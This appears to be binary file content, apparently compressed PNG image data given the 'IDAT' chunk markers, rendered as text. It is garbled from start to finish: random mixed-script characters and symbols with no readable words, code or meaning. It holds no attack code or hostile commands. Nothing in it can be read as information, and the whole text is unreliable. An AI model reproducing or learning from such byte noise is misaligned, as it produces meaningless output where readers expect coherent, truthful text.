3μ{dvL5=o^ДTQTp?%^0u4Dg_.>ˀFVSӳ.T)eb.U{~Ї}}Jj5sImkʂSׁ׳Ԇ\
7x{uU$S\gݲ+^wȫ-fIG_{f@`5^4@܋L9&\*~Bq"~O=[
SҾ!co\fe+8GVY/w<ֽL֊&~.S{
ju/m7{Z÷21G	ޟ}`
^'baR`bZJ$5HӇyBf\E	leMh}Hⲝ| z0m@9og+ou0MbuuPPB"43!lRoi+D}Ig0gb|:1Wis"$cwiv:y	F5g>8J)ORbjd*7VwuUh@Jo^ki*aShp7FG%~ M,?mEYb荀٨1ӥD>̫<ƜTEy,.NYoxG+q1	M$6?!{~76y$ޥ5Gs1+I:_Ag99~Ք	Le^y1k-|-#=
^$I>1Ƕ(fsrgɈk?=Ac1<({zRJ7&`}dK.hat/]̺[㷎w&sEk׃0qD^/FAyʵ9*\'rrbJK s žk۳+BEq!ĩY[AILxc47q^bHt#-^R$%_"e?hnsm;c`ymyH͹ZPggpWjEZEuv_i>#GѤqӰb{B~=?5)ai*խOKM
֡T!5a퓮'ɡe5f&VȬ|)pfrgLEtyk_=k ZՔ}V{뫯~~_<bnMbVHkbbHK:t^{}Gj虱*6{\WcM=["f9xt%G2e_;=V||W!,w^Mm|;2
Yp>9?o_γ|*ڭ}f77W]`:~-R
A"zo
}';@9epӾY]S֌	gQ7̚ w^#JHii!γf'D
0#N^g~mj{OV~h>t=ֿgMC<sLW7V=ӿ󍷦I^m{W<ì99Ś?pTK'ޮfkZ\+lݮ0v?jv2~_\!=q${	ξyބvQ-Kݔ$y=KNPAw?͙-u:6]ViNa
YEOk@w]םsAp}2mtjoba+j7{ߟrwBx,_y>UVQ+p4j	4
E3$[wժat_DWAϫO=:
0}
IwOlRC8ݍ-<wJm d|pʴl^|}3pMkkl=8.]qbZ.gWa'cz$lD|EYhM⫽Q{	!?'Z]ő~{1ok+o/ϯsfsRhF4퓳O}&$<zjɨ~^LBb*nԡ3?rs+]-7&Ջ/'s Deb([(bi*SWkOtRr	πR-2ND`pR

eiss&DKz@Wb'k>nl>FU3#'DE-fѺbƻF|{/_DO?``yWhf:IMkfd_%]"V
?
f#wwkZ>>9?^-=;3ң&j[s_nsԤ<x`u{UE~!?^Ubl`Y.
̢J3B*o#
5/䞸|Q
&VZPL"co{5𪯤g3׷UcVc<
_e{?樟鳶WB?{-J{пSJMzW!
1Gw.p."8~zG{vo#ڻ4@[?:p.c!A>GB={aU ^C7ce
>W▆R~[1cwRtNd=t3Okпb#oKS057݁f_eamORih[Zc6Y*38ߏp[064`ۮ='U~5Vkjwqί{͹EׯBz843Vg*$sHU\([ُJ7@U||jܧi0UO痵:2fx"`\QoU|ll
&?pD^u]dAOZWj
t
&״S_$چx{ހ|
hNUbi*kˊ<}Md
:^;(1w_So`Vt9sytA'cWcG@3_f˯;k7ůS>_tS4G-RUdsG@	=>(8?-VzU$7~I89%{IgV8wߘlݻ45S~;go$SmkV%^01>)Wx&`οw[\Yžx˘M~EӋJ͑fk|v,D蒌8zmRy!FQ!قqBÇ+]	 Efl@կ(ؗxpLUuF@Շ9O-+EYbKajEv=VT	?ƿ+GU:<K`aD/~麧<_?@K܍\OSu8~DT>t귾d?~cM_$߳ʹ~oIՃyz߳hS'4=;Qj{Ss`7=Xiy׉v\q.pwbl^3?ҙ[ѵZ۫bw\sHIXMBHSZ9oЪW]	,mZ͝Ыh$*ć{?ѫ/<iL6:^y0']QyqnNEReɸW/1g܋`݂q"Q*C)NR	Vœ ~ea5hr=U_p3сٶ>A,v=1p'zbd@~}ή:[8g>h߸B3<,kJ<~TxB-mE~oN2u̇3QxP~BXhqZsBcw7U-SÙ٨9RubO*=dZdmF"`j~vR>
lI%mŷz:%v3@\Kn$5%f~[:j?*[+o5v>ȋ|s`;>ிs'yyf
yVY50WgSYUWjw>=뚜mcݟ=zVw:`1Dj+u`e/k@.N0np0ųm\	3)u/\VyoшDOnܹ%[=6[}Eq0G{yTS<.Gv3e~$rӺZpS~d8|"2G
	|#(p%fI?9gWiOa5F^y >	k62̡~Ͼ]]=OoqM3DS>/UԬxZf8/tI-5Û	
f
jHA{*&~\+Ix75!0?,]AYƳMZ
I?^y^Ht_B~*nJ_,˺Ft>8Ѐ%N`ՍB¹[M(gloM/:<=Q"3:t%3zU\+(`m>Fݛ4K$W3D7V0-]Qb273eb>={>2仈%Y6敶}!E:(%rJKߖ%؃kjB^@5?Y]*8<x/N۹/ye7w7^6&,~dϳw"ޔa~X8u0_FS䡞Ӡ#O~aoN``oxf{$ޏԛBjgD|Zp~>83ҳ\G}4Vb
Wp>wv$ضn׈/T8cnsG-f&7z
pㅿu
/P~mL5~;?%_-o߷)r<o!y9Z`Mj58}/O']}&gwhGކ,fjj߱?\ݿ*ڴK5᳼Ca_xsăg~wEAO$oaXϏ]sJ\[8>@pW7V랕)9*q0w6&DE˾^M*͑L^xyT+/7׻X`@:*mf?]>Wc]B7I=y
 ؎+Z,1as!ZX~)iꀴi鍨gj5}:#囎gzfJtD
ef,bXDž$s)OaJ~]9R|WpiMQ+c7ʚ"_jGx߫pH#	+~p騱+_ws?]_ꌜoH+Eogv}ERmMpou\o0Q8M[42NCNcR~׉x	G ޺WPhT'8h	լk/F=WYOf
3@0߀KOoL}Ϻ\ד3h9ahYu/9#jTe'
CUy))^(b,E|#S'PypW}U2^I=l=G䏁҅A
 ,ǁ~K{I7f\.7N.:l_36g׋M8;es"49.)*/xժ~kF@n?x(8r'Mx
I4RH%-
Qz_Qo~EoN*?rkIPIEUnd|foCG䋛ڐ?x^p=<p|Jg̷ssw~#k6z?IHPs@h>HB*kDBh?=Gi޳FgS1VBr&|p<87o䙾͹rΆ?uLao}14׌
b@ߏ99cG=Dp}R"*;Pǂ3En`|>v@){~iw|pQѣoLXJM{~=S
	
ӄQ?6yJ>3gq6~P>_kKHkRcul_%GW+y}}
'jh㯼7侚4u?'KQtq2].	s9>gęc~'T눆J=,9+ 3?ony^8^CI^`U_##*Wgoipڤ(>T_/̝sYK_(A8|zIƈ:?xMPEaO2RBM*\pWp9+PmSj`@y_3:7?4OW7_7вk<	_O"9y r2
3?}('ynyZԿ=Avp4{~m#Cmr5,*W?p`7ƵJwp2G>|DkPաeݼ9]/
(o.=0;S@5,'<<$s:3ϑP8»>-H-B[G`sEk0=,010e'G	r0|':l%R>? jk~4%
=^|f}$+,wPlt޾-01lr]f
|mbt`2I^([</XZ/r)?=쭪	k])O25!/@O^1zE+ѡÑz:meX_C$$!6ŋZJ1|bg1
Q֏N	}ީz?D3M)~S@׬
PKT8nHV`s
]szVg\QSR䕘7bӹ]E,E[_[WToQgo&`c̰LUSHRB!GEsѮ/$`φ=FݓʲSM
em*pW)۷LcNb~>>A~*ڮ淜po`=)eMu<Yէ~6T_?i=>5?ַ/{1Y_oPZ~7:Mcg?Lj`h}ߜ?d8ݼ)䋎_)<ouŮHWnG/毙5ZxZcJE<P{_tIIoOz?B5Uo}c[ˆȓ^'7QrO_1C^} k!
Bܦ:ԡ]1U5|/&>cޙԹLc23^g~؆ݿ.cË*Fp7ApZ[GY_T%^OK¦wBnf?P\C-?jmT{-B<	gk*Vnκmv=s/Ժ>x'I{,Qv$7O5Kb/c|!UzFr[I2@ YG>xoCiXRJ83M	_M"Cݞ[8g['kXA@4tؓfCZs_M<_1L{-7z"|b~yj?LJ3IߏȐً;5V[R~_BGO֑z[
H1{Ǡ~볉qzEzF,sxjJy鮇F8΢H==+t/mhLy'+SjYJ/#&!xv_D*_/??6 0 #Y/xC{sZy?OIG4Dv
:}r\(ۯ%hP_kfOxlO~aQ{P?w!cӮrZh>Ho?`4B1LiW|v!D._<M6rME
Zo-ˈul0;LQHO#4CHq]aI};ovG^O1	<]dv x\*܇n%Nؖ/'$E]b1aN[{ǫ8fz)l9
K
jmzC}F^΍3xEOjholu}('XKjX5?TlCܮ(|^Ggh|8bxA߄rx-"Y,~BRO0YvBڝK<!ZzkWrB(Oi:rĠ$SE1@EU:.ofwrK>P3ƚp9""sj!Xh~W`}.SGOMN|37gܙ=+X5c>X͡B!+j/RZw=zuyA}Nw}Ep}2f]$j?G
wAjgG
JڪX/jgFrk)IG`qoBa՞ǧ܀xA~+ڻN[O<FU?uϚxbcxF9\/nvx|mE
8>;%3U|u~h={{tui>-~s;w:zZ썫9߆py ihuuy/ZyGoiM>p<Y-(wњ3S~Tg6Oj~`N]ݖ;~2>goaN,›5Q}Xfbk˽dK(&Q~ m
	
кsxFutOxI|/S]odyF#ˇ3Çg}-)sJ<^@Gq'T)О=ZglC7#%#>ap>Bl.;e^/}b,lPPP'LKWX,HƭK2ޓxSZ>VF	3Jt_ǷTnsuPzuB:@+c1PĪ'0m{3),Q|/o]ً܃
WW{w>d:pH^EֳYHMWSˡ}:ohQ3bm<ǟ
]n--1*!08Г0OZWR1)si̽ZXCR hu7jZ&jO5beުӂXH+{\NkES;$rG5•.m \BKỹȰb=Kn,'i!0;T+>À_ٝòs/9Wa':ZS-	\JQ*>ktP@
X3yU(ΙL;gڸU^'!1=dNp[%vke,amбPPIrUyQ{V=ſ{ mɌK`DZ`Suo8GɧFt,_[CtpGNg{~kƸʰ)Iӿ]26,Nۺaw49CP#H:{Ѯ}\:|Y9߿Φ#V[bss}S ΙCڸ+us0Vb+?Mx/MgѦ8ױD89F?,x|QVu4Hu"1ZưgVaZ<:C;sau5^պ{7<ÒFy=0[|5{<VHgԽ8o
,<}lD Ao_9W>}
Xo+|/(OPKOvto{.:u7?]ϒ7<O\DX5WDS#C.p7?xWo5{QGY5dP"?r1aPVǘjh?_+/5sOAd+1p4XǏ
R&/sHpF=k3Z;g!V:>~M|w#yg#'v<h7g8O;D#xnv^.N>f9EH?K1l}V5nI"p524H=Ly^>6O	N\	e<teЬ\>ٝ1;Z(/Lq<gt8ߪw]s짖ޑ9wHL1]{3pQLLXWby,Y	%éӓ|27>~WW1&h/D2YA~|)8WͿ8v<0ħȍp$?T:w,Rz{X":)x'ppӧoAvͦHٱ7_I̻9
m^k3sÿ
éxG9\j{Fl
<3}I?>|x#wȒVJ8z_>X=;L](yp`i*OA+RŦKwQ{Nh[À?q0D!~c3Vg D[R{ϋϨſ^pџ^n.Tu#^^zZC#>xP+do0^vj֙+W<Vwj_QW_l%byXw"u4W5_}өxKtzjL.	DoI徺>}v!ȧCOWiOo"~K(;b?߁`^es;M3gVLΥsp:ׁ|W!M1tJoV|@:#cI3gC"f)+RGO"ZY&0Oױ'jQ־c[c\>SfmWy3'r%?;cX?q$H{;O`i~/{	ݱSd)><_MA?8ܙ}Iis*Wregr欄!iWKs=s_~tCnt~Wr?1ÿ]/}GGme답Knkgt!7/-M.Xɻ'+~D>kPMكJ(yl+y_	n^l>q!&MoK?+?uhex.?|QyڴcUrgط+>T⎯B̷LTUC4x/z(>\@m+6|_[D6sfj^'	U爎 rUh_O.z:bhw]/SOѩ@IDATussJݣwx'^KyZuq^?ꯌ:wzB<Sx8xjzeEZw0\|@?Q͡!:)}%^_4 W.E>c.Do3co}vWkُ.߅v̺oEOʣ+s+37'EeRY^6w3RMXX'pZ,`0jq}{3YӌވU:?8/]:dk)Sü4{K|	Ξ7>ik74fr
s>nlZ9ٗl
^9-SO{({4Ӣ!qw=B|読c"5RC'"~O,o1HSg"91`anyE>V)z-"|~~~arC:p[ZM{Bœ8Ny|&l={	]WnށtK]\)!TCM:~CB{\!-~녳[&xD\?wO]-0mc
9ZںwCt9gp("VpȘ%MT&<ho6OQWyo3Xߜ*lvN+A'޾{Lye@ǫb;}W$Z8Z[Bu9[q9_ySBǴIț	6My6zq|/o>2dڍ ."p>&>/j>t̖Cf4`hwtfK͛{
Lb&s\|]O|{>41,\n.xw	_aOC>_+[{;],f/Wߨ[F{:VWwkEc
y+RjzQg|h2Ӝ}EmFG~ϑYy$mVcAqs}vĵs'B8$[+K$yn/`soz2mO;YBW4^7?]I{6J>[ld])9&^Yo
nWNY/=5ҁiToYn}S{¾Hu'ř7OzbFLu#tȏj*z&V?sBdz,~ȣևQsQo;k'V%A
<Z~	=9b>ҧA
~%Ub}V#MANO~>%6+E^._G{f땵ZQ'n|ϤTj3il*]L陱(
_cPnnA{f-1c

pT/-ˉ5+W/<t QWh%ؤn;W5]/`qvFʚiktn{&*uy7[iAW9Z3}ԉPǍ^4)a⸔?0<0B?8:
hpOSSiԍU*F2-v@⥌jrI>^2S#۵TǞz'NzہG?'n2?NzR8f
G+2HG%Ƚ;:TQ0Bʭ?Ţ7E<S]a]'_mx>iOJ򷘕GparY/z6I{7%!XQOo%9(soV$B܋iNJs*gQgrB}B.bNyl
lm~Gf4,B3xҀE_%Q佪aR6A=̱B~W(^rjRNP9%ҠbqLʝU8@z-P^Ǣ͆DY X@:kEk{i)!րOm-5-qS^W*v~EJ-
 I뜢3?.sp3^178qBlz[{{hĈ}ûX(_S滾YǦCe7X8gdy@rCne0D'+v2qĮN~P23ª13ZigD"/*']QcCyk?F"(^}PRVΈOҥ`GdgoJqSLP^76B2ul?ӂ}wo,R C4k@>V<񍗸*B
5k:~NOu0'Â4Jz@C祃턺ó5'JwVol yD&Ōx'^
#II>'5#ЮZGV*[w]%~iy,)+y=
b-K^+C~Sa(R%s*'5!^k7Z^?kj="̆CL?sߙ$|QxA3:
ሗkÞwo6׉~eUd|/&u `
H:VNzya
l[X}J!>`Aŀ {+P"grroh?t)Z 3߯z:o?dE+RhBt ny{j{vkyAok%_;/
0OX4?!)PplN1ea@|W|5PQEһ1[r;]|eݞ@WGygFR^{7$?jy;AQ3:!Ds6贰'ܿ@"$@O˽kK5m5pǠP8O݇~G#o^Rl6{|4
N`?ߴ70G@ZJSƨ[V<5^zMPSh5X`S@P]^:Y|
!9x'xK&1,%~_w<swl#}E_΂'fL:ܧD'pi ɚXoP:.7or&;'4to<
%#Ę\QnW8ֿXjߖyJ51yxp#Phkg{%~BG7gW7y<pj,(*er<J?AnEx]rޔqiA#)Fw{LX3?@ǿtWg
Zf?8Bw8euv'[]Oz3O>+ 3?f_w|S?RiqF(:0T/gukJ
wOP1S>(bN`k[I>g"Q՚<BϿ?I33='<[,Y;	2~dϳ*Q%A͇
?rRV]SzvcϧWֽ}+0}]}q+<a~3~\$/	çnߕs	V,	J_69zXk|
z&IԙmW 3{!KkD=U
A.g7Hh}UM6iui|椖!;m<}W=Q^Ywq-:/C[ot$b+D2k<tW1&B=86#`~`!jY!c?&lԼY w`:U|$boӒ[q{<18@F3rI[L}K2__v,X!bgo9اN65`֊!ij{B9f׍z1:Ծ|f=M?dDzn[^ŀ68uO_z:#@3akom|^y^ xn YEj4I6牓Q]ֺf0Wesn4wewhGbc`/
MfXۺ8V)Q3,?
HYd
i_kT.ˉ+>oe0EhGBI+׮s<(usL;6Yz7]Ͽt-:|ŋ_y%ZW-'>V8%Ϯ@~,i_:wa_wzQ^+#-@e(Rhg8T|A>y7Wa(^rOiG,]i<\^.@[2rըZjkezaߡ9S-xW??ݓ}qN\?ݿAk}YxYB|_<{
ߺ\b埞ɤwJx37ž}s?9ƃAֹQ{/\f9֏W,5U/g~|W޷#|lvK0Ѷf3)-#GS?WSuvy9.KvĀ.9KZE-+u>9
NpXehO8y{D}juG+C=v~~~JTB3)drEcgE}P֟8ע:ɰOb[ |ǥp|Fa~.| O1{D,}9O~`<H,?rf\.S~MG[nE;
<m}uOҎEe$}^BoNw~^]U*noWjk6ˉݷpגsrQ;5L')Laփ!ԭ8/gZfkFX<Lwq\76y皙=}4~^ɝH42фgN7pR{~]E2LLlko/?}nNG#u{!HQFL[Lc9_׭P~넌w3}fVy;ƅr~Z;߅1wp⸎A
g9X4]ߜ6Vw@)~TEiW:p7"|)q:ˡgtQP%
헇w.@%gaIt{	.N$[#[^]_ۿ{muE.I4ܿɫC/5vEfM{H;Ƈj:awZsҊiϠQ%iKUo$khE_tA|Kç^'(?_VnJd8à}VA\u@R?u|4kW5h'Q8'泲
؅(sշwƑ92?|VeE}LT£C+_̯;5szUjۨ˴ZJw#[}
P;dh[@c_c-~Eco:!KB2w|:f-kƤץo?mQ׺ǯ@bϰ,yU?Ot]lO|S+)Xƃ#p>:-sTkVguiQgϝ7`l{@ٝvOO$|lOknO\kic|?$j33EjNj
>9E
XjHSȞ4gn#	/?Ӧ3ES9QVx±3L@G?7DR$E+ΙYO9wyYb<Nz~?jNjpJO%'nZzjS<hByw"<swn@MF/ߺW/G|q;MNŞٰ(s@pUj겇yޚ:y/6U8xHpr\6w"C%U)bA̯Ӎ!:2?o
qR7୞WfG
jIuw7>jikm\=4V~>=&tni"_IWkpvN
mKxL̯[^czs<sfaԚUmGYGjxE oHBamjp%qS1q.OYO5U=_ِ<?ÿ~Q z*tQZ)&{_%=ƀq[y~r
Dl=|"`Ǔ^n,C?AtتYtS1bo٬vqBk/it>~d0Z4_pJB1cԵL^sRЋr\>Ălо=A(!ޣv߀@#R_:DK:713^fw;I߁P}w
$ύz){[S
F)ߙ>W
<<7gL6	Q1KME"P1tѻNT^HC`wCLpy"`j%3L7ch92za^qQ·V:J~Z
Awtҏۥ-;kxVg/u#olN?ڎzrK~vvuSrz9֏OwʞAD}X5SǟߦDGqK!I:VkJ[,By6`~Jjj+jV=%R*̷L
/U__oO!_S?>vOb&A]s?8eo)D0=$سnl̳Ϝ.$G*6؝-˿q^ow=]λ_x_5oP߭:qF%|:gҿl#DGV >oupCJr	׼m/ocgw:MR	bxo뻓)Zi7)ݺ=oE,$=]؝jsqݪɟ{5XJe)Z#}rȴ*sWݼ`;S!~~
a?ηPeR)K/of4Η
#=qŎ󻸡@J(ի$s{Qqۺ;Oj\="u/RbER]M's_
D3N䠿5f{`AϾ"\=^ṋu޻2Tչb^%-ɹ}{S_|?$!̚ھA˂Hc64
[=gz{}e~yzu/kWvIxžoWr!#=<|1y|B><3m*u|=l>t5qCS-ґ{=7$x7
oLQ+6RGomy1سVf.[13[jxwߚ
UQ8f@'Qa%f!.kӋRWrXm'@cQ~+z7')7p3T3UwY/E*3	#?bǏ|W8Hm\ά/͎CN?<q*	k)CZYR˧4sR@|dMҭ3[E 'Hu3Ezg~	J}b٠F
{k͇@wQrwЃC];5션X=ɆNg~RmկR%L>w
Ÿ<O'10|[0۠I57@ڋq8<Hṿ`T!<ߡ5u)ȡn>z[r[f2Tݏ.&^ϷvwZMR`;A롱ao+M9Pq]W+$
J?tZY'O,i{5>Cǔ2?*/
3m7y-нi[Q{dw9qTn}؛_'
Rnς';?m+uyt;#@􏖞}~¢~5\ܯa|_9š\vda$?e1p۔8x*@(V*iۏcڗbk?֢<~y<㪵%5ѱX]l??⬿z|p7A%V̉u&;8GZ\˧K
w3#"1\ov/j>H*`xhj
C"gn%콱?[]Mfʥz02?os_'68kO|
,i.;5IƇq4xk>̮'<uB_j_!mƛ^"	s(H-yNr_'+OpAb(TíZ9HgkoNY%?Aq}
B׀=VS7ʇ/	[4d^
$gu}Z+3/p-?L2bW/:~<<O|uG10?װ-&:B65?G[ysyen/)$Z@mǿ82j|G#xdsL}Mc[gv9H}ov24>~-`

{_=C>͆{)*uWM.	5ϯ#gA<=Ry{9&qqHkme??\"ڇ)V>DW`Nof@I˥3Tqrx^>ɐblrO^_4T42ʩԻn
ɈxN(GH%k/gYdv3gnߚSws46GkTz'mdC6ig^-4N-7u9_/F=V|[3f*o%Iā$=o2DkQsd6&UY}uG}ͽi^b]K<=>?ꦰP?tmaw89|
]Lx0"?>3cuGO_1tֹxgOAA&5r6qr5г=s}zʙ[?LgK@:>Y\[A% 3/g:"տ<oSߺc<7|ٯv<WSj$7|PeZG0~?AtǗ3_F(MgJ>/ɞ&`ߏ?$_j{K|s8Nӿ=\B6 /G4<ti|vgqz'o%_"w~3K\wwz=eO
*В}=rǦrC'~Z0
Q*r?5O~D$HM`UnqJއ;3_01ך#ayبz1}Ӂ9xf ]\k!F_t.ګɀ[Jqjb^Luáw{wKd$QߞHάomt37@`?zle1a5M=+2Hq*V1lS?H)	ǣsd)n8(v|.9
o9|u{+u쥵Zr
<=xr3>{]}8WPKqj}КoR99U@ߧT/.>ԏi+*Z/_~qp/?!3h(#,k3pN./جb@<Ahx	L~AV!kub\.XrT
,:GcBXU<ӿ?[V?sן},g$;x7
H?&P`pG̩sX'OC^ڽ͔x+WAdo&T~Kx¯f&{0N>NH-n_d.uØζx$ȟ+*'jҠClr0Xp-?ԓ.U?uPI/Z)x=-NՉ*pY,J}bk>)!l/L>5Q?;	sd7v4W}'؁^Hs3?}ҿ_]
~Rf eN104)JÿCo#L0Q+-cZ={p`dbl'k+_<߉{:Gi]_x	t{SSG`wGAfzP|
3?*60ͭv(Mh50E⋭ư>Ga9Tpdy'`C9>S<5	l?K\~@;$[~?=}3oCZ7Cu;gMo-?/{ijzU伛Lwғ?zM}o7QM_|g-[^{\hȏ}m?KG/A޼,[WOOa ٬i%:GgŖ~ДY'Ng~H-5}'skv474(_g"ϽXL/cis$'J#]vE3+%ѯ'>?U64o[n7E?p]ïߕrGKɳ'0\37.nj֥d]!HROab\D;փ85x~ߤNL?<e
޿JNJ"}Q5"@bV;=.Wo}حG}<Ꝛ#v_^[/~G?pU%	Gw{d_~e"kMG?f1AJlBZ?&}Geqz&jsj@[l|o{Sh^wzK!J4q#O?(	{9qrш?a^8;j;+1^30X׬6ID|g?ZI3Gr|-8׳xzL
J,ø1T7=h/|t~:mJ]>}&#PqY7~FmOї
wa/VqRsJ@9.o|]~]"}ŧI'ΡOeX5:]F
'Ov3\NBgju!~ߟ[UT`ưsS̥􈻟e!f.wYk=]HV4c{>Gmo&ۿ׎cz*ӻ2շ(f<gxĆ{\J=cYWP}j>
G6s~
s<Gcu0'h<gz8'GWN`Whvd&S>qCWhhcCn.;oI@R#o!w^>,{x!;] .͟-t5D~7\IF{ڜDHNDjhJAɥW?޳ǀ|l^D_b_	֟Ga,"rnt/O_d`ߥ|@ޠl.،8H}b/ܼ:	MQ=aLs޼<=k5|nd6fRrjȳ?g?j㉂ݐ^౏Tqjˮ:lV)4j~ag8!_-`
QC^j0ѯR"q߿Wم{a⡇d^c8u3nz:k꽰w6H?swE<P3>@vJJpF@O✟Csk/wa{M)v'g}-m C5+=sj?bƛ%zZ\V?_McI*:J(G;w̄(	YYu<64Ѯ>W#.I_{pR)޺=>Q?B7$ЮVo
_Ӑ;h3yhEd@w:?'-Y=hksz1'Bx"x1Q^&xSC+Pj @^B
/
a<Ov3w^eA-HQhYr$6gn{\_fw}bYu{WzX>ɏ5.3OM{{`#:Gr盚flVu/=|D,`.ZhaAd_m2s1pZ㭊$O=Nߟ+ޙ{t)oܡ|{]f5Mo~^_U=TNy<#.!{ag#wd`_^(t.wL*]D)?@##.˗Ҏ'_!ܬ<ӂS5Va;WFwhj+"RoŚ_ʢں~py0o~?B3MC'H{;wRz<y空8m|V񵉏v2Hy"*߿`oHbۻǿ>ƌ+?SeU[}nL	wGî8ʭ:ʵB=2zh8uVoqqh3j}gB<h@ٷnI}ggzvTo+>I1(1;gѽנ+M.ޖk; _bFeŝcO٩_w~!‰J4<[#$COs	r7QEiCdgY^M3iɗnoOUx:3oz(%dz@	qd]7Txc^m^|tx|;p|Hw1wĚAA?u}(_6ۋ6{9f&(~>VU:ye`8'OqcǓK''o*#^=is\YNf_g
WEY߻xH-Ys9ott8)0$)^$p?8ۮi@^SP?3'Jo':[>)CW4XZJ}'{[las(:?qZwK?*X}~k.sq]aW#oqby0l|Um
,(#ny})7zB^fGb ge`S/=-&ފTO=Oe>A<+;i 	l9a]JI݅ky#> ^X4ܝ;|GpZT|{#-}R+ˁ/E?T1;"St'$F"W՝
m60Q,Qis⌷s5>t\>EO*_ZJ/I289'F?v&E~*`?=[v|V_?aNq'듽9bO\
Ѓ@{hI^NC}rI۹^yH=Q]4If*NNA5+糪@,fA_{ػ)@ߴˉ=Z']VRuꟌOVȗ×E]$+O_Ÿ{H`=с}!ߗŒ2zZE(=>	s{K2
ݍ|@Eν?|VAգ禼__Gf7xďl4ֹ?ƙ%5?~O<cg "NaO ra"_BcS`'t	@YZk~؞;Yp#-8O#|SdŞ!;!+q/i!ӽqHW6<ȨO6gEFwuW?͌>zV6Xz'X<;nD$FyO0|_jX6"g^#5|
pk8\@^	1)Sr\^s__sR8Oz='	mc|y'8"YhkzJC4)=hkoOi>@7c
e{obVIuOyjg=l58[ܿS-CMX֔;tJhIC?xR Cg|/hj*^Nzc!N=߻HA|ϧOrD`z23{H9GiΛmsy_\
ݻ|~gDXCw{F`oMDR|uM^rN*[g(AdRܒ~5ouW_Ql\#럮'[3HNy7ZB?@Tq#]3کJBWF)>;WҲ뙡RԜfzAwZg7V[>z[EA%VSAn<g›-g
x@L>ꦀ&?.zkM|3Msp!넿'+YpW?#3)l)_iΧh]/`
F[5阺!/=OlX|QKD!/ l ǐ32~Rpꀛk:K:.1]~ԉa.kY΃VP}sv`1k뢐<_bO?j:rpuEK%[b_w<Y
wV)`XGSk8(7ܗKYI|5Ԉ2~I͏O;âɖRgBo
7+'3?U#U[=s*ˮ[&֍e:xI=wQ8WFz=@IDAT_}#69ml$BD)\!*{|>q -	QvNȍ^gQ!~._hK
	*W
/Ϻ9lx˟h5+8̧7+wc"gwڇ@tL˜8EB|0Ar&Hc~k,Ϫ}IԧAϼrPۡr]0+%?O_NO3K\-ԋ=;p:T-ij"g/)3#j[?Fw<q]
~B}>@84ޚFL̚ʏg`k$ZͣNK>sX
x=.S~'ǵ`Gtx[C	 w~ E/WLjjk/v~`p}c a<W~Q]S`
Hh?a>־cN7&N޻a/D{]y,He8VJ!K3M+8<?oz~ל+^WbItvAhl,\~sOߟ߾vfegd: ͔oœbsQ|jnt^(6) 9'u\װ.?-e}{
P9&Oa{$RB`1|%@H@"ϿoN*"r+<<ߚ;
^ze>ʴQ_61U"C>N!#uVsxMԒkp_R8{p#iˁW^HB^U[S`'gK7*HoHAHkfP(:^jY5yr?Po=srψTVlbW1rvtNĨt6Kx/Tk̞<|?N}.BonZ$[ȞܣĿumr/eKK!pn':hbݧKԦ7Mr_p4@b5`yNp^~
	~%9:ma|2FK$|BM=
i\r!ֻ0RlȄ	>
+%]y_MqOxR}T0.Ceݹ:|1RC0}bp
3q1[*P-CHjcwNy*3cͩBy"P@zl|0"jvo#u:::̪cc
!J,swg~ڨ6"8M49tk5W
Ja_;R$_q/6:dDII߽5]*ADM_>ZBVp*¾Sm]W8.˗PLNX"<&I^@:r#6S#o>tɱ*|WJX?lt<o9V(?7VS0+4tmlԟ'32ٿĨts3?;W(·T+<?y(DTe'dXF!O͟󣦕O9O[zqhsP%ǟ!N<^:	B'CG/43M;:
\#
1涄sX)Ob[ҋj8oUN+K?EwrS'o&:ã߻3*zePINIy@z<[D#W u7e=,FK]''S:k-Pz>:	8=!4-Vv[KMUrG
?<oee1.˷nj9[i]O?10-b|a{6ߪGL:S?8VRsY{}*nXX4Rowj0H8s?I1lQݿ:?>cj5[aOX+7
#ٟ9ԧNc
2Ț<&I`#AK7Aֿm;~ w5LLQD3BLU,sPֈu䉣K>Wz@:/.6<{ͲL~>D$Cx?V!}~g뿄,i"HZ:2e+1{_N{* sL]
\s5\YV}607D^\h,a{'`q+km,ڸoDhu{_ns6Z[oO0?ֻaDӈ
l@
#-Td~EY#4I+9@SMn`\2)h^^Ϟ|:9{.x@YW
ϠNm\kz=/.hLBT$(>GNLrWڴ~4!D$JVlTyjo4fWSn[{54 $ܶ=ySqOxI8^ޜuÇӼ!Ͽla(f܉_>qzMf/"sZLK!w"_އI~D~Dj	wcxt'WӗJk콠M팰g?\W_
V.Tm9>W$Ɵ|Wș}9NG^XWZu%n+Q]@2
ygg!gzlE+2m,;;sԏf=˹OJ5Ϝou&IaRzv/c+<^|__ZC{(v	Ź_}6^_΋S g:2`mS}}e[I@= E)I9	ȐDzvoME7	95^ot{\>	+w_ԓVp<ŷsVegN-0w5L`E,?2amQEp]Wcs!+q6ؖ8r*ϬAZZk-)FVJ$`f0jtT뀬zZ.𞫃cWO#ϭM,0!rW=7;o?޿lZ' /g$+u
|r)gji;[_Ed'Q)߿ko#g~d5pԧgodOzv*X{a/UJzf?U1<=IPs֡$k=~O][sB~ԛ6׽r^\4!U8u\@M>]zRE>t]7+ycn> 
4Oü"x0ds/p4'G/WCuVBe|l-2x:Wy)_:<`Ow&ser|W.ۿ|A{bJsyVX_Gf/h܉t)D*&s/v('k=
m|].o+0=!'F-P{'7ڃ[vkˣ^m+4V#_ow]8?h2{f|5-o]%F@9XEϢ	/QE5NoMh>>S88=oOU_>*yXdN8X-{t|U?~K+@wƧzgOB~N=5pOO.*لPAy:!+owѾ!ݜ+vtݏ8'b珿=>5nbBJK!fCgߊIo~лdz?X50kI+fk_"cAO=oڀt01a^?;'}^H٥L
X3E3KONHSkf62?p'wxa=\]oլ}Y^3ak4k=;$}q}*jv#Lt՞?UК)-^o﨔JG-x6[oѱ$'=	'3iXw˷V&9ePQ^a)Sk0"yf~x%L5p?'ۓQE]u7W߉xl_õ='?Ԫ7z
ۻw~{征QwdU˿KO%ԕk@$ZcDc9"[2ڨܾu ?;+NZs;Q̰wG_}rO|ӋSӇC\Dx<?AP'vOIwӟ.`ptLNG޻.\5hSuΤEoC;#m
 XkIZ}~Z9fS?;w\Nob]mN-;oWt`g̬t_A}Ė٥
3-.Jf
[[J|[_QߓIo!_]߀VWW-}JYG8yO+t>
‹Pe+5Htlo)3\<)"vf`%lsR)ͣA?K;YO!9?(L]Q—O=RqU3J[F9K\լ#}y8/-jM<Bsq-h4S"D{HQ@cQw͛6T3?jνyy<B509I[\w.g'`yсjP꨷A=l;"jxآgլQGzv@sGn؟[bTGH`}=~/=#,A@+y~PP?G}?PANhlg#
4|nŵ:L?R:#|S}{FS޶/9tS?E~>1ErT-ȼSs*EVΎ~'߽P+
